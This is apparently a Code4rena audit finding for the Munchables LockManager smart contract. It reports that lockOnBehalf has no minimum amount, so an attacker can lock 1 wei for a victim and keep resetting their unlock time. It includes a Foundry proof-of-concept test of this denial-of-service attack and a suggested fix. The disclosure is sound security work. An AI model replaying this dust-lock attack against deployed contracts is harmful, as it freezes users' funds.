Munchables - 4rdiii's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L275

Vulnerability details

Impact

As there is no minimum lock amount set for the lockOnBehalf method, a malicious actor can deposit dust amounts on behalf of a user, extending their lock duration by the player-set duration and preventing them from ever unlocking by repeating this action. lockOnBehalf has no minimum Amount check:

function lockOnBehalf(
        address _tokenContract,
        uint256 _quantity,
        address _onBehalfOf
    )
        external
        payable
        notPaused
        onlyActiveToken(_tokenContract)
        onlyConfiguredToken(_tokenContract)
        nonReentrant
    {
        address tokenOwner = msg.sender;
        address lockRecipient = msg.sender;
        if (_onBehalfOf != address(0)) {
            lockRecipient = _onBehalfOf;
        }

        _lock(_tokenContract, _quantity, tokenOwner, lockRecipient);
    }

It's notable that if the player changes the lock duration to zero, it still won't work because you can't reduce the lock duration, and it will revert with LockDurationReducedError(). _lock internal function updates the lockedToken.unlockTime even with a dust lock amount:

function _lock(
        address _tokenContract,
        uint256 _quantity,
        address _tokenOwner,
        address _lockRecipient
    ) private {
        .
        .
        .
        // add remainder from any previous lock
@>      uint32 _lockDuration = playerSettings[_lockRecipient].lockDuration;

@>      if (_lockDuration == 0) {
@>          _lockDuration = lockdrop.minLockDuration;
@>      }
        if (
            lockdrop.start <= uint32(block.timestamp) &&
            lockdrop.end >= uint32(block.timestamp)
        ) {
            if (
                _lockDuration < lockdrop.minLockDuration ||
                _lockDuration >
                uint32(configStorage.getUint(StorageKey.MaxLockDuration))
            ) revert InvalidLockDurationError();
            if (msg.sender != address(migrationManager)) {
                // calculate number of nfts
                remainder = quantity % configuredToken.nftCost;
                numberNFTs = (quantity - remainder) / configuredToken.nftCost;

                if (numberNFTs > type(uint16).max) revert TooManyNFTsError();

                // Tell nftOverlord that the player has new unopened Munchables
                nftOverlord.addReveal(_lockRecipient, uint16(numberNFTs));
            }
        }

        // Transfer erc tokens
        if (_tokenContract != address(0)) {
            IERC20 token = IERC20(_tokenContract);
            token.transferFrom(_tokenOwner, address(this), _quantity);
        }

        lockedToken.remainder = remainder;
        lockedToken.quantity += _quantity;
@>      lockedToken.lastLockTime = uint32(block.timestamp);
@>      lockedToken.unlockTime =
            uint32(block.timestamp) +
            uint32(_lockDuration);

        // set their lock duration in playerSettings
        playerSettings[_lockRecipient].lockDuration = _lockDuration;

        emit Locked(
            _lockRecipient,
            _tokenOwner,
            _tokenContract,
            _quantity,
            remainder,
            numberNFTs,
            _lockDuration
        );
    }

Proof of Concept

Here are the attack steps:

1. User locks 100 ethers.
2. User sets lock duration to 90 days.
3. 90 days pass.
4. User intends to call unlock, but the attacker has called lockOnBehalf earlier, so it will revert.

    function test_DOS_lockOnBehalf() public {
        hacker = makeAddr("hacker");
        vm.deal(hacker, 1 ether);
        uint256 dustAmount = 1 wei;
        uint256 lockAmount = 100e18;
        deployContracts();
        // register me
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        // lock tokens
        lm.lock{value: lockAmount}(address(0), lockAmount);
        lm.setLockDuration(90 days);
        uint256 unlockTime = block.timestamp + 90 days;
        vm.warp(unlockTime);

        /// attacker calls onlockbehalf before the user calls the unlock
        vm.prank(hacker);
        lm.lockOnBehalf{value: dustAmount}(
            address(0),
            dustAmount,
            address(this)
        );
        /// user calls unlock
        vm.expectRevert(ILockManager.TokenStillLockedError.selector);
        lm.unlock(address(0), lockAmount);

                ///user intentds to change lock time
        vm.expectRevert(ILockManager.LockDurationReducedError.selector);
        lm.setLockDuration(0);
    }

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

To fix this, a minimum lock amount can be set for different tokens in lockOnBehalf function to prevent malicious actors from attacking by increasing the cost of the attack.

function lockOnBehalf(
        address _tokenContract,
        uint256 _quantity,
        address _onBehalfOf
    )
        external
        payable
        notPaused
        onlyActiveToken(_tokenContract)
        onlyConfiguredToken(_tokenContract)
        nonReentrant
    {
        address tokenOwner = msg.sender;
        address lockRecipient = msg.sender;
        if (_onBehalfOf != address(0)) {
            lockRecipient = _onBehalfOf;
        }
+       if (_quantity < MIN_LOCK_AMOUNT){
+           revert("lock amount is less than minimum");
+       }

        _lock(_tokenContract, _quantity, tokenOwner, lockRecipient);
    }

Assessed type

DoS